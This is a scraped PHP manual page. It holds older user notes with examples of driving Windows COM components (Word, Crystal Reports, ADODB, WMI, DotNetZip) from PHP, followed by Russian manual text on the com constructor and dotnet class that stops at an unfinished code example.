- Search for Microsoft Office Word 97-2003 Document (it will be something like this translated to your language, so take a while and search for it)
- Right-Click on it and open the properties
- Choose "Identity" tab
- Normally this is set to "the launching user". You have to change this to "the interactive user" or a admin user of your choice.
- Apply these new settings and test your COM application. It should work fine now.

I hope I save lots and lots of hours of headaches to some of you :)
dpchiesa at hotmail dot com 27-Mar-2009 09:35
Here's a way to create an AES-Encrypted ZIP file in PHP, using DotNetZip via the COM class.

<?php
try
{
  $fname = "zip-generated-from-php-" . date('Y-m-d-His') . ".zip";
  $zipOutput = "c:\\temp\\" . $fname;
  $zip = new COM("Ionic.Zip.ZipFile");
  $zip->Name = $zipOutput;
  $dirToZip= "c:\\temp\\psh";
  #$dirToZip= "c:\\dinoch\\webs\\php";
  $zip->Encryption = 3;
  $zip->Password = "AES-Encryption-Is-Secure";
  $zip->AddDirectory($dirToZip);
  $zip->Save();
  $zip->Dispose();

  if (file_exists($zipOutput))
  {
    header('Cache-Control: no-cache, must-revalidate');
    header('Content-Type: application/x-zip');
    header('Content-Disposition: attachment; filename=' . $fname);
    header('Content-Length: ' . filesize($zipOutput));
    readfile($zipOutput);
    unlink($zipOutput);
  }
  else
  {
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '</body>';
    echo '</html>';
  }
}
catch (Exception $e)
{
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '<p>Caught exception: ',  $e->getMessage(), '</p>', "\n";
    echo '<pre>';
    echo $e->getTraceAsString(), "\n";
    echo '</pre>';
    echo '</body>';
    echo '</html>';
}

?>
james dot m dot love at gmail dot com 07-Jan-2009 03:27
If you're using COM to create a DSN Less connection to an MS Access 2007 database, you'll find through Googling that you need to use an updated version of Jet, so the connection string I've found looks like this:

<?php
$databaselocation = "C:\Path\to\db.accdb";
$conn = new COM('ADODB.Connection') or exit('Cannot start ADO.');
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation") or die('Cannot start with Jet');
?>

However, on my setup (WinVista, Access 2007, PHP526) I found that it always 'dies' with "Cannot start with Jet", even if the connection was successful ($conn->State reads "1").

I figured to just drop the die() command on $conn->Open(). If something catastrophic happens with the ADO connection then it's own error handling engine passes stack traces, etc back to the console/standard output.

Therefore, my Open() command looks like this:

<?php
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation");
?>
casanoteva at yahoo dot com 26-Dec-2008 01:19
Hi, just wanna share to everyone after tried and tested many many times to create report in PDF format from Crystal Report.
Finally I can do it without any error.
 Here is my system; PHP 5.1.6, MSSQL2005 and Crystal Report Server XI RL2

<?php

//- Variables - for your RPT and PDF
echo "Print Report Test";
$my_report = "D:\\Folder1\\SubFolder1\\Report.rpt"; //
rpt source file
$my_pdf = "D:\\Folder1\\SubFolder1\\Report.pdf"; // RPT export to pdf file
//-Create new COM object-depends on your Crystal Report version
$ObjectFactory= new COM("CrystalReports115.ObjectFactory.1") or die ("Error on load"); // call COM port
$crapp = $ObjectFactory-> CreateObject("CrystalDesignRunTime.Application"); // create an instance for Crystal
$creport = $crapp->OpenReport($my_report, 1); // call rpt report

// to refresh data before

//- Set database logon info - must have
$creport->Database->Tables(1)->SetLogOnInfo("servername", "DBname", "user", "password");

//- field prompt or else report will hang - to get through
$creport->EnableParameterPrompting = 0;

//- DiscardSavedData - to refresh then read records
$creport->DiscardSavedData;
$creport->ReadRecords();

//export to PDF process
$creport->ExportOptions->DiskFileName=$my_pdf; //export to pdf
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // export to file
$creport->ExportOptions->FormatType=31; // PDF type
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"D:\\Folder1\\SubFolder1\\Report.pdf\" width=\"100%\" height=\"100%\">"

?>

 That's all for me, anyway in Crystal Report I have to check DisCardSavedData, Save data with report and AutoSave (1 min) in Option Tab and also in Report Options I have to check save dat with report, too.

Hope this should be help to anybody

Casanoteva
johnno1985 at gmail dot com 21-Aug-2008 11:34
I couldn't find an example anywhere on what I was trying to do.  After taking bits from everyone I ended up with something that worked.

Im using Crystal Reports 10, MS SQL Server 2005, Apache2, and PHP5.

My report uses an SQL Store Procedure and passes some parameter to get the report data, so our PHP must set the database logon info and pass the parameters.

Below is the solution I came up with:

<?php

//------  Variables ------
$my_report = "C:\\Apache2\htdocs\\test\\MyReport.rpt";  //This must be the full path to the file
$my_pdf = "C:\\Apache2\htdocs\\test\\MyReport.pdf";

//------ Create a new COM Object of Crytal Reports 10 ------
$ObjectFactory= new COM("CrystalReports10.ObjectFactory.1");

//------ Create a instance of library Application -------
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application.10");

//------ Open your rpt file ------
$creport = $crapp->OpenReport($my_report, 1);

//------ Set database logon info ------
$creport->Database->Tables(1)->SetLogOnInfo("MYSERVER", "Database", "user", "password");

//------ Suppress the Parameter field prompt or else report will hang ------
$creport->EnableParameterPrompting = 0;

//------ DiscardSavedData make a Refresh in your data -------
$creport->DiscardSavedData;
$creport->ReadRecords();

//------ Pass formula fields --------
$creport->FormulaFields->Item(1)->Text = ("'My Report Title'");
$creport->ParameterFields(1)->AddCurrentValue ("FirstParameter");
$creport->ParameterFields(2)->AddCurrentValue (2000);

//------ Export to PDF -------
$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->FormatType=31;
$creport->ExportOptions->DestinationType=1;
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"MyReport.pdf\" width=\"100%\" height=\"100%\">"

?>

Obviously there's plenty of room for refinement in there, but it works and should get you going on the right track.  I also found that during testing, the script was hanging before supressing the parameter prompt. Once this had happened, some exports that had been working earlier stopped completely and wouldn't work again untill I restarted Apache.  This might be something worth doing if you keep having issues after a script has hung.
mastrboy.servebeer.com 13-Jun-2008 05:03
quick wmi query example:

<?php
    $obj = new COM ( 'winmgmts://localhost/root/CIMV2' );
    $wmi_computersystem =     $obj->ExecQuery("Select * from Win32_ComputerSystem");
    $wmi_bios             =    $obj->ExecQuery("Select * from Win32_BIOS");
    foreach ( $wmi_computersystem as $wmi_call )
    {
        $model = $wmi_call->Model;
    }

    foreach ( $wmi_bios as $wmi_call )
    {
        $serial = $wmi_call->SerialNumber;
        $bios_version = $wmi_call->SMBIOSBIOSVersion;
    }
    echo "Bios version   : $bios_version\n".
         "Serial number  : $serial\n".
         "Hardware Model : $model\n";
?>
mbirth at webwriters dot de 08-Jun-2008 03:19
Using the DynamicWrapper from http://freenet-homepage.de/gborn/WSHBazaar/WSHDynaCall.htm and after registering it via "regsvr32 dynwrap.dll", you can easily set output colors to make colorful CLI scripts even on Windows.

<?php

$dw = new COM('DynamicWrapper');  // needs dynwrap.dll (regsvr32 dynwrap.dll)

// register needed features
$dw->Register('kernel32.dll', 'GetStdHandle', 'i=h', 'f=s', 'r=l');
$dw->Register('kernel32.dll', 'SetConsoleTextAttribute', 'i=hl', 'f=s', 'r=t');
$dw->Register('kernel32.dll', 'SetConsoleTitle', 'i=s', 'f=s', 'r=l');

// get console handle
$ch = self::$dw->GetStdHandle(-11);  // -11 = STD_OUTPUT_HANDLE

?>

After these initialization steps, you can set the console output color using:

<?php
$dw->SetConsoleTextAttribute($ch, 14);
echo 'This is yellow text!';
$dw->SetConsoleTextAttribute($ch, 7);
echo 'Back to normal gray!';
?>

Using SetConsoleTitle you can even set the title displayed in the console window.

Color values are 0..7 for dark colors and 8..15 for light colors. Sequence is (black/silver, blue, green, cyan, red, magenta, yellow/brown, white/gray). I also found that if you add 16384 to the value, it should be inverse. 32768 added should get underlined text. But these latter two didn't work for me.
amenthes at NOSPAM dot gmail dot com 03-Mar-2008 10:13
If you ever want to save an Excel(.xls) file into the Office Excel 2003 XML format, just use

$excel->Workbooks[1]->SaveAs('new_file_name.xml', 46);

That's the number you need, 46.
halfer 21-Jun-2007 05:03
Thanks to paul at completewebservices who added a note earlier; I have used his code to solve a particularly difficult issue with the Crystal 9 runtime component. For some reason, VBA/VBS can pass a native Date type as a parameter to a Crystal Report requiring a date, but in PHP I've tried all manner of strings, unix timestamps, COM variant dates etc and all of these resulted in a com_exception.

My solution was to employ VBScript to borrow the CDate function, which works correctly. Not the most elegant of solutions, but this parameterised approach is to be preferred to search-n-replacing the RecordSelectionFormula string. Of course if anyone here has an even better approach, do post it here - I am sure it would be of use.

<?php
// $rptParam is a report parameter object having a type of date
$oScript = new COM("MSScriptControl.ScriptControl");
$oScript->Language = "VBScript";
$oScript->AllowUI = false;
$oScript->AddObject('rptParam', $rptParam, true);
$oScript->AddCode('Function SetDateParameter(strDate)
rptParam.AddCurrentValue(CDate(strDate))
End Function');
$oScript->Run("SetDateParameter", "25 April 2006");
?>
hwcshirley at gmail dot com 21-May-2006 10:59
Reply to: djogopatrao at gmail dot com
I have change little bit your code. Its work.

$COM_Object = "CrystalDesignRunTime.Application";
$my_report = "C:\\appserv\\www\\mc\\test.rpt";
$my_pdf = "C:\\appserv\www\\mc\\test.pdf";

$crapp= New COM($COM_Object) or die("Unable to Create Object");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 05-Apr-2006 12:25
My previous notes about Crystal Reports have vanished away, but anyway I was up to correct them.

The code above connects to COM (beware of the version number! search on the Registry Editor for the correct name to put in $COM_Object), opens a report from a file ($my_report), reload records from database and then exports it to a PDF file ($my_pdf).

* IMPORTANT * this code, when invoked from the browser (I'm using Apache) AND with a report that connects to a ODBC database, does not work (the problem is specificly the line ReadRecords(), but may arise without it too when data is not saved into the report file).

But when you run this code by PHP-CLI (that is, by the command line), it works ok! I bug-reported this, but have no answer till now ( give it a vote, if you thing it's important: http://bugs.php.net/bug.php?id=36959 ).

Also, exceptions may arise, so put it on a try_catch block.

--------------------------

// by dfcp '06 (djogopatrao@gmail.com)

$COM_Object = "CrystalReports11.ObjectFactory.1";
$my_report = "C:\\report.rpt";
$my_pdf = "C:\\report.pdf";

$ObjectFactory= New COM($COM_Object);
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 04-Mar-2006 07:27
I found somewhere (http://www.recrystallize.com/merchant/supportfaq/supportfaq0003.htm) a list relating each version of Crystal Reports to its respective progID - it may help some fellows out there.

7          Crystal.CRPE.Application

8.0        CrystalRuntime.Application or CrystalRuntime.Application.8

8.5        CrystalRuntime.Application or CrystalRuntime.Application.8.5

9 (RDC)    CrystalRuntime.Application.9
9 (RAS)    CrystalReports.ObjectFactory.2
10 (RDC)   CrystalRuntime.Application.11
10 (CEE)   CrystalReports10.ObjectFactory.1

XI (RDC)   CrystalRuntime.Application.11
XI (RAS)   CrystalReports11.ObjectFactory.1
paul at completewebservices dot com dot au 28-Jan-2006 03:49
It seems that PHP does not support setting of properties with arguments.  This is how I got around the problem:

        // Object with method I want to set
        $auth = new COM("AUTHXOCX.AuthXOCXCtrl.1");

        // ScriptControl
        $oScript = new COM("MSScriptControl.ScriptControl");
        $oScript->Language = "VBScript";
        $oScript->AllowUI = TRUE;

        // Add out object to the control
        $oScript->AddObject('auth', $auth, true);

        // Create a VBScript function that allow me to set them
       $oScript->AddCode(
'Function fixAccess(accessname)
    auth.AuthDataReferrerEnabled(accessname) = 1
    auth.AuthDataAuthentiXDBEnabled(accessname) = 0
End Function');

        // Execute function
        $oScript->Run("fixAccess", $dir);
volker at kybs dot de 07-Oct-2005 12:51
To use the windows speech system install the "Speech SDK 5.1 for Windows? applications" from the Microsoft homepage (free download).
Then you can do Text2Speech like this:

$voice = new COM("SAPI.SpVoice");
$voice->Speak("Hello, lets have a conversation");
sadi at unicornsoftbd dot com 06-Oct-2005 01:56
If your PHP is configured as ISAPI module then the COM object you create in ur php page will use the same memory space as the web server. If your COM object takes too much memory then this may force some COM error as PHP does not handle the memory usage of COM itself. And also Web server doesnt know what do to free COM memory. But if you use PHP as CGI then PHP itself handle the memory usage of COM. Once in a script where i used COM and PHP as ISAPI module i got unknown COM error.But when i used PHP as CGI there was no error. So those who want to use COM object in your application please be careful about it.
deletethis@bjoern(at)syltonline(doot)de 15-Sep-2005 07:36
If you can get the old "TaskScheduler.dll" and register it, it is quite simple to handle and start Windows tasks from PHP.
This is extremely useful when you got things to do which must be run in a different user context. Prepare a task with the user and use PHP & Com to build a webinterface for it.

Here is an example how to start a Windows task:

  function start_task ($taskname) {
    $SchedObj = new COM("Scheduler.SchedulingAgent.1");
    foreach ($SchedObj->Tasks as $task) {
      if (strtolower( (string) $task) == strtolower( $taskname.".job" )) {
         $task->Run();
      }
    }
  }

I'm also working on a class to handle infos, adding and removing of tasks via PHP. If you are interested drop me a line.
csaba at alum dot mit dot edu 03-Mar-2005 05:21
Getting IE to the foreground
If you are using a command line (CLI) version of PHP on a Win32 platform (e.g. XP Pro, SP2), you might want to have output directed to IE (perhaps you'll want to work with the output there) when Popup does not suffice (see my earlier post, below).

It's easy enough to get an instance of IE using $ie = new COM("InternetExplorer.Application");.  The problem is, you don't necessarily see it in the foreground (especially if you already have one open) and who wants to waste keystrokes getting to it?  The code below has been working for me (If you want to do other adjustments (e.g. $ie->Document->ParentWindow->resizeTo(800,500); or $ie->Document->Body->bgColor = "yellow";), doing them before the $ie->Visible = true; line will avoid screen distractions):

<?php
function newIEtoForeground($title, $evtPrefix="") {
    // brings new instance of IE to foreground with title $title
    if (!$extPrefix) $ie = new COM("InternetExplorer.Application");
    else $ie = new COM("InternetExplorer.Application", $evtPrefix);
    $ie->Navigate2("about:blank");
    $oWSH = new COM("WScript.Shell");
    while ($ie->ReadyState!=4) usleep(10000);

    $ie->Document->Title = ($tmpTitle = mt_rand());  //unique title
    $ie->Visible = true;
    while (!$oWSH->AppActivate("$tmpTitle - M")) usleep(10000);

    $ie->Document->Title = $title;
    $ie->Document->ParentWindow->opener="me";  // allows self.close()
    return $ie;
}
?>

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 14-Feb-2005 12:22
Basic Windows IO
If you are using a command line (CLI) version of PHP on a Win32 platform, you might like to have a simple graphical interface to get input and output.  The following gives an illustration for both.

<?php
    // first we get some input
    $oScript = new COM("MSScriptControl.ScriptControl");
    $oScript->Language = "VBScript";
    $title = "I/O Demo: Input half";
    $initial = "Change this value";
    $prompt = "Please enter a value";

    $code = <<<EOF
Function getInput()
    inVal = InputBox("$prompt", "$title", "$initial")
    getInput = inVal         'how return values are assigned in VB
End Function
EOF;

    $oScript->AddCode($code);
    $input = $oScript->Eval("getInput()");
    if (gettype($input)=="NULL") $input = "Input box was cancelled";

    // now we show some output
    $oWSH = new COM("WScript.Shell");
    $title = "I/O Demo: Output half";
    $timeout = 2;        // 0 for no timeout
    $style = 0 + 48;    // buttons to show + alert symbol
    $oWSH->Popup($input, $timeout, $title, $style);
?>

This is example is overblown for illustrative purposes.  The whole input part collapses if the amount of code used is a single statement.  So, this would have sufficed:
$code = "InputBox(\"$prompt\", \"$title\", \"$initial\")";
$input = $oScript->Eval($code);

This technique exposes quite a bit of scripting power tied into the Windows operating system and VBScript.  However, you should have a really specific reason for using it since VBScript tends to be dog slow when compared to PHP in my tests.  Simple IO like this is good, however, and the popup size can be quite large.  Furthermore, this could be a viable route to go for accessing WinAPI's.

http://www.ss64.com/wsh/popup.html shows some documentation for $oWSH->Popup

Csaba Gabor from Vienna
phpguy _from_ toshpro _dot_ com 12-Nov-2004 05:55
if you ever need to connect to an access database (on the server, using the IIS or APACHE user account), here is code below that can help to ease the process.  It is written like this because we have a MySQL as well as an Access database and need to be able to switch back and forth.  The runQuery function will return a 2 dimensional array and can use column names or numbers for the index of the internal arrays.  External arrays are always integer-indexed.  We also have found issues with Access staying open and growing from 7MB to 2.5GB within two hours, so we open and close it each time we run a query.  If it is not a select query it will return TRUE.  if it fails with errors, it will return false.

There is a showErr flag that we mostly only use for MySQL, since you can output MySQL errors without PHP errors.  Access doesn't appear to be that friendly.

<?php

function runQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    return runMSQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
    //return runMyQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
}

function openMSDB($dbfile="c:/path/and/filename.mdb") {
    if (!@$conn = new COM("ADODB.Connection"))
        exit("Unable to create an ADODB connection<br>");
    $strConn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$dbfile;
    @$conn->open($strConn);
    if($conn->State == 0) return false;
    return $conn;
}

function closeMSDB(&$conn) {
    @$conn->Close();
    $conn = null;
    return true;
}

function runMSQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    if(!is_object($conn)) if(!$conn=openMSDB()) return false;
    if( $showSQL || $debug ) echo $strSQL."\n<br>\n";
    $rtn = false;
    if($debug) $rs = $conn->execute($strSQL);
    else $rs = @$conn->execute($strSQL);

    if(!$rs) {
        if($showErr) echo "Error running SQL.<br>\n";
        closeMSDB($conn);
        return false;
    }
    if ($rs->State == 0) {
        closeMSDB($conn);
        return true;
    } else {
        $rows=0;
        while(!$rs->EOF) {
            for($i=0;$i<$rs->Fields->count;$i++) {
                $rsf = $rs->Fields($i);
                if($associative) $rtn[$rows][$rsf->Name] = $rsf->value;
                else $rtn[$rows][$i] = $rsf->value;
            }
            $rows++;
            $rs->MoveNext();
        }
        if($rs->State != 0) $rs->Close();
        $rs = null;
    }
    if($debug) var_dump($rtn);
    closeMSDB($conn);
    return $rtn;
}
?>
sodeh at dana dot ir 30-Oct-2004 03:11
for connection to sql server and know the utf-8 code
use this method to connect the database

$db = new COM("ADODB.Connection",NULL, 65001 );
jon at jonroig dot com 03-Dec-2003 12:28
Here's a simple example of printing formatted templates with MS Word.

To begin with, I've already built my invoice in Word and saved it as an RTF file.
In this case, I'm using "sampleInvoice.php"

Fields that will be replaced have been marked as ||CUSTOMER ID|| and so on.

<?php
$dataText = "";

// open the file
if(!($fp= fopen ("C:\wordTest\sampleInvoice.rtf", "r"))) die ("Can't open");
$dataText = fread($fp, 2000000);
fclose ($fp);

// replace the template fields
$dataText = str_replace ("||CUSTOMER ID||",$customerIDValue, $dataText);

// save the file as an rtf
$timeStamp = time();
$saveFile = "C:/wordTemp/".$timeStamp."-invoice-".$customerIDValue.".rtf";
if(!($fq= fopen ($saveFile, "w+"))) die ("Can't open");
fwrite ($fq, $dataText);
fclose ($fq);

// initialize the word components
$word = new COM("word.application") or die("Unable to instantiate Word");

print "Loaded word version ($word->Version)\n";
$word->visible = true;
$word->Documents->Add();

// open the file
$word->Documents->Open("$saveFile");

// output the file to the default printer
$word->ActiveDocument->PrintOut(1);

// shutdown word
$word->Quit();
?>
drich at nea-online dot net 18-Nov-2003 02:47
Changing Fields (Not FORMFIELDS) In MS Word....

Searched most of the afternoon for this, as it is something needed here for our projects.  Maybe this can help someone else as well.

<?php
$input = "x:\\path\\to\\test.doc";
$word = @new COM("word.application") or die("Unable to instantiate Word");
print "Loaded Word, version {$word->Version}\n<br>";
$word->Visible = 1;
print "Set Word To Visible<br>";
$word->Documents->Open($input);
print "Opened $input<br>";
$word->Activate;
print "Activated Word<br>";

print "Editing Fields<br>";
$Field = $word->ActiveDocument->Fields(1);
$fieldData = $Field->Result;
$fieldData->Text = "Testing";

// Print the document.
$word->Printout();

// closing word
$word->Quit();

// free the object
$word->Release();
$word = null;

?>
admin at CdnDomainRegistry dot ca 20-Sep-2003 03:57
Here's an example/comparison of VBScript vs PHP's COM component to connect to an IIS Webserver.
The examples backup the IIS MetaBase (your server's website(s) configuration) in IIS.

VBScript:
  Dim obj, iFlags
  Set obj = GetObject("IIS://LocalHost")
  ' Backup to next available version number.
  ' Set flags to save the metabase first and
  ' force the backup even if save fails.
  iFlags = (MD_BACKUP_SAVE_FIRST or MD_BACKUP_FORCE_BACKUP)
  obj.Backup "MyBackups", MD_BACKUP_NEXT_VERSION, iFlags
  ' Note: The above was copied from Microbucks.
  ' This is how you would have to do it.
  ' i.e. use the actual constant's value.
  iFlags = (2 or 4)
  obj.Backup "MyBackups", &HFFFFFFFF, iFlags

PHP:
  <?php
  $obj = new COM("IIS://LocalHost")or die("Unable to instantiate IIS");
  $err = com_invoke ($obj, "Backup", "MyBackups", "&HFFFFFFFF", 2|4 );
  $obj = null;
  print "err=".$err; // returns 0 on success
  ?>

Glen
rickardsjoquist at hotmail dot com 09-Jul-2003 10:33
If you want to use a DSN-less connection to a database (access for example) and return the results of a query as a multidimensional array with the fieldnames as identifier try this. Hope it helps someone :-)
--------------------------------------------------------

<?php
function db($sql) {
    $c = new COM("ADODB.Connection");
    $c->open('DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=' . realpath("relative_path/db.mdb"));
    $r = $c->execute($sql);
    $i = 0;
    $num_fields = $r->fields->count();
    while (!$r->EOF)
        {
            for($j = 0;$j<$num_fields;$j++) {
            $key = $r->Fields($j);
            $r_items[$i][$key->name] = $key->value;
        }
        $i++;
        $r->MoveNext();
    }
    $r->close();
    $c->close();
    $r = null;
    $c = null;
    return $r_items;
}
?>

--------------------------------------------------------
use it like this:
--------------------------------------------------------
<?php
$results = db("SELECT field_a, field_b FROM table");
foreach($result as $i => $item) {
    echo $item['field_a'];
    echo $item['field_b'];
}
?>
--------------------------------------------------------
You can also use: print_r($result); if you want the structure of the array to be printed.
info at sharedprojects dot nl 16-Jun-2003 09:41
<?php
// An other way to connect
// this connect to a ODBC-datasourced added in the
// ODBC Data Source Administrator under System DSN

$odbcname = "northwind";
$conn->Open("DSN=$odbcname");
?>
eguan1ao_at_yahoo_dot_com 20-Nov-2002 01:35
An example of connecting to a Microsoft Access database, executing an SQL query, and displaying the results in HTML.

<?php

$db = 'C:\\Program Files\\Microsoft Office\\Office\\Samples\\Northwind.mdb';

$conn = new COM('ADODB.Connection');

// Two ways to connect. Choose one.
$conn->Open("Provider=Microsoft.Jet.OLEDB.4.0; Data Source=$db");
//$conn->Open("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$db");

$sql = 'SELECT   ProductName, QuantityPerUnit, UnitPrice
         FROM     Products
          ORDER BY ProductName';
$rs = $conn->Execute($sql);

?>

<table>
<tr>
          <th>Product Name</th>
         <th>Quantity Per Unit</th>
         <th>Unit Price</th>
</tr>
<?php while (!$rs->EOF): ?>
         <tr>
                  <td><?= $rs->Fields['ProductName']->Value ?></td>
                   <td><?= $rs->Fields['QuantityPerUnit']->Value ?></td>
                  <td><?= $rs->Fields['UnitPrice']->Value ?></td>
          </tr>
         <?php $rs->MoveNext() ?>
<?php endwhile ?>
</table>

<?php

$rs->Close();
$conn->Close();

?>
yinon at xacct dot com 06-Apr-2002 12:33
In order to get the Word exaple running, do the following on the server side.
Worked for me...
1. Click START-->RUN and enter "dcomcnfg"
2. In the "Applications" tab, go down to "Microsoft Word Document"
3. Click PROPERTIES button
4. Go to the "Security" Tab
5. Click "Use custom access permissions", and then click EDIT
6. Click ADD and then click SHOW USERS
7. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
8. Go back to the "Security" tab by hitting OK
9. Click "Use custom launch permissions", and the click EDIT
10. Click ADD and then click SHOW USERS
11. Highlight the IIS anonymous user account (usually IUSR_<machinename>), click ADD
12. Hit OK, and then hit APPLY.

Also, you should look at the "Identity" tab in the Microsoft Word Document PROPERTIES and see that it is set to "Interactive User"

ALSO, log into the machine AS the IUSR_<machinename> account, start word, and make sure to click through the dialog boxes that Word shows the first time it is run for a certain user.  In other words, make sure Word opens cleanly for the IUSR_ user.

More useful information could be found here:
http://www.email-screen.com/support-doc2txt.html
mstaiger at informatik dot uni-siegen dot de 23-Jan-2002 06:17
The example above (MS Word) is quiet unsatisfying, as I find. Especially since I couldn't find anybody who actually got it running, including myself.

You might therefore give this Powerpoint-example a chance:
----------------------------------
#Instantiate a PowerPoint object.
$ppoint = new COM("PowerPoint.application") or die("Unable to instantiate PowerPoint");

<?php
#Create a new presentation
$ppoint->Presentations->Add() or die ("Could not create presentation");

//Add a slide
$slide=$ppoint->Presentations[1]->Slides->Add(1,1);

//Get the name of this slide
$slidename = $slide->Name();
echo"<br>slidename : $slidename";

//Change the name of this new slide
$slide->Name = "New Slidename";
$slidename = $slide->Name();
echo"<br>NEW slidename : $slidename";

//Save the presentation
$ppoint->Presentations[1]->SaveAs("c:/InetPub/www/test.ppt");
$ppoint->Presentations[1]->Close();

//closing powerpoint
$ppoint->Quit();

//free the object
$ppoint->Release();
$ppoint = null;
-----------------------
?>

the config is :
w2k-server/office2k/iis5/php 4.1.1 isapi

If you happen to run into a working word2k-example, please let me know.

Marc


Конструктор класса com

  • « com
  • dotnet »
  • PHP Manual
  • com
  • Конструктор класса com

com::__construct

(PHP 4 > 4.1.0, PHP 5, PHP 7, PHP 8)

com::__construct — Конструктор класса com

Описание

public com::__construct(
string $module_name,
array|string|null $server_name = null,
int $codepage = CP_ACP,
string $typelib = ""
)

Создаёт объект класса com.

Список параметров

module_name
ProgID, Class ID или Moniker, указывающий на компонент для загрузки. Обычно ProgID - это имя приложения или DLL и имя объекта, разделённые точкой. Например: Word.Application. Class ID - это UUID, уникальный для заданного класса. Moniker - специальная форма именования, похожая по концепции к URL, которая идентифицирует ресурс и способ его загрузки. Например, вы можете загрузить Word и получить объект, представляющий документ, указав полный путь к документу word как имя модуля, либо же использовать LDAP: в качестве моникера для использования ADSI интерфейса к LDAP.
server_name
Имя сервера DCOM, на котором компонент должен быть загружен и запущен. Если задано как null, объект будет запущен для сервере по умолчанию для приложения. Обычно сервер по умолчанию - это локальный компьютер, если администратор не сконфигурировал иначе. Если для сервера указано значение отличное от null, PHP не будет загружать объект, пока вы не установите опцию конфигурации php.ini com.allow_dcom в true.

Если server_name задан как массив, то этот массив должен содержать следующие элементы (регистр символов важен). Обратите внимание, что они все необязательные (единственно, что Username и Password должны идти парой); Если вы не укажете Server, то будет выбран сервер по умолчанию и создание объекта не будет зависеть от значения настройки директивы php.ini com.allow_dcom.

Имя сервера DCOM
ключ | тип | описание
Server | string | Имя сервера.
Username | string | Имя пользователя.
Password | string | Пароль для Username.
Domain | string | Домен для server.
Flags | integer | Одна или несколько констант, объединённых логическим ИЛИ: CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER, CLSCTX_SERVER и CLSCTX_ALL. Значение по умолчанию CLSCTX_SERVER, если Server не задан и CLSCTX_REMOTE_SERVER, если задан. Про назначение этих констант можно прочитать в документации Microsoft по CoCreateInstance. Но в реальности они вам вряд ли понадобятся.

codepage
Кодовая страница для преобразования в юникод и обратно. Конвертация происходит когда строка PHP передаётся как параметр COM объекту и когда от него приходит ответ. Обратите внимание, что данная кодовая страница будет использоваться для всех объектов и вариантов, возвращаемых данным объектом. Допустимые значения: CP_ACP (Значение по умолчанию. Системная кодовая страница ANSI), CP_MACCP, CP_OEMCP, CP_SYMBOL, CP_THREAD_ACP (Использовать кодовую страницу/локаль, установленную для запущенного потока), CP_UTF7 и CP_UTF8. Также можно использовать число, обозначающее кодовую страницу. Подробности читайте в документации Microsoft.

User Contributed Notes

There are no user contributed notes for this page.


Класс dotnet

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

Введение

Класс dotnet позволяет создавать объекты из сборок .Net, вызывать их методы и использовать их свойства, если класс, методы и свойства » видимы для COM.

Ни создание экземпляров статических классов, ни вызов статических методов не поддерживаются. Создание экземпляров универсальных классов, таких как System.Collections.Generic.List, также не поддерживается.

Некоторые классы в .Net не реализуют IDispatch, поэтому, хотя их объекты можно создавать, вызов методов или доступ к свойствам этих классов не поддерживается.

Замечание:

Вам нужно установить библиотеки времени исполнения .Net на ваш веб-сервер, чтобы воспользоваться этой функцией.

Замечание:

До PHP 8.0.0 .Net framework 4.0 и более поздние версии не поддерживаются классом dotnet. Однако если сборки были зарегистрированы с помощью regasm.exe, классы могут быть созданы как объекты com. Начиная с PHP 8.0.0, .Net framework 4.0 и более поздние версии поддерживаются с помощью директивы php.ini com.dotnet_version.

Обзор классов

class dotnet extends variant {
/* Методы */
public __construct(string $assembly_name, string $datatype_name, int $codepage = CP_ACP)
}

Перегруженные методы

Возвращаемый объект является перегруженным, то есть PHP не видит каких-либо фиксированных методов, как это происходит с обычными классами; вместо этого свойства и доступ к методам передаётся через COM, а оттуда в DOTNET. Другими словами, объект .Net отображается через уровень взаимодействия COM, предоставляемый библиотекой времени исполнения .Net.

Как только вы создали объект dotnet, PHP обрабатывает его идентично любому другому объекту COM; применяются все те же правила.

Примеры dotnet

Пример #1 Пример использования dotnet

<?php
